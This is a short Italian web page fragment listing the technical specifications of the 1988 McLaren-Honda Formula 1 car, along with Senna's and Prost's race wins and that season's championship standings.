<p class="wp-block-paragraph">Passo: 287.5 cm<br>Carreggiata ant.: 180 cm<br>Carreggiata post.: 167 cm<br>Lunghezza: 445 cm<br>Larghezza: 215 cm<br>Peso: 540 kg<br>Cambio: 6 marce + retro<br>Gomme: Goodyear<br>Cerchi: 13&#8243;<br>Motore: Honda 1493 cc sovralimentato, 6 cilindri a V 80°<br>turbine: due, con pressione limitata a 2,5 bar<br>Potenza max: 890 CV circa a 12500 giri</p>



<h2 class="wp-block-heading"><strong>Vittorie</strong></h2>



<p class="wp-block-paragraph"><strong>A. Senna:</strong>&nbsp;Gp San Marino, Gp Canada, Gp Usa, Gp Gran Bretagna, Gp Germania, Gp Ungheria, Gp Belgio, Gp Giappone.<br><strong>A. Prost:</strong>&nbsp;Gp Brasile, Gp Monaco, Gp Messico, Gp Francia, Gp Portogallo, Gp spagna, Gp Australia.<br><strong>Mondiale piloti:</strong>&nbsp;1° Senna punti 90, 2° Prost punti 87<br><strong>Coppa Costruttori:</strong>&nbsp;1° McLaren 199 punti</p>
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